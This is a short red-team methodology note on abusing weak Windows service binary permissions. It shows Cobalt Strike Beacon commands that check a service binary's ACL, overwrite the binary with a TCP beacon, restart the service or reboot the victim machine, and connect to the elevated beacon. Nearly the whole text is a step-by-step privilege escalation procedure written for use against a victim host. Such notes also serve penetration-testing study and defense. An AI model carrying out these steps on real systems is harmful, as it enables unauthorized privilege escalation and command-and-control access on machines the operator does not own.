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Weak Service Binary Permissions Abuse Methodology

Abuse Windows service binary misconfigurations that allow an attacker to elevate their privileges.

-> Get permisions of a service binary file (Beacon Command):

$ powershell Get-Acl -Path "C:\[path]\[service_binary].exe" | fl

-> Find that the Users allow to Modify. This allows us to simply overwrite the binary with something else.

-> Take a backup of service binary (Beacon Command):

$ download [service_binary].exe

-> Then upload the beacon-tcp.exe (Beacon Command):

$ upload beacon-tcp.exe

-> If you take any error code from Cobalt Strike, use net helpmsg to resolve Windows error codes. Run the following comand on cmd of your machine (CMD Command):

$ net helpmsg [error_code]

-> Find Service Permisions with accesschk from Sysinternals Suite (Beacon Command):

$ powershell .\accesschk64.exe /accepteula -ucqv [user] [service_name]

-> If the service is running and you have permissions to stop it (Beacon Command):

$ powershell sc.exe stop [service_name]
  • Then start again the service (Beacon Command):
$ powershell sc.exe start [service_name]
  • Connect to the listening tcp beacon (Command Beacon):
$ connect localhost [port]

-> If you don't have permissions to start/stop the victim's vulnerable service, just reboot the victim's machine and connect to TCP Beacon.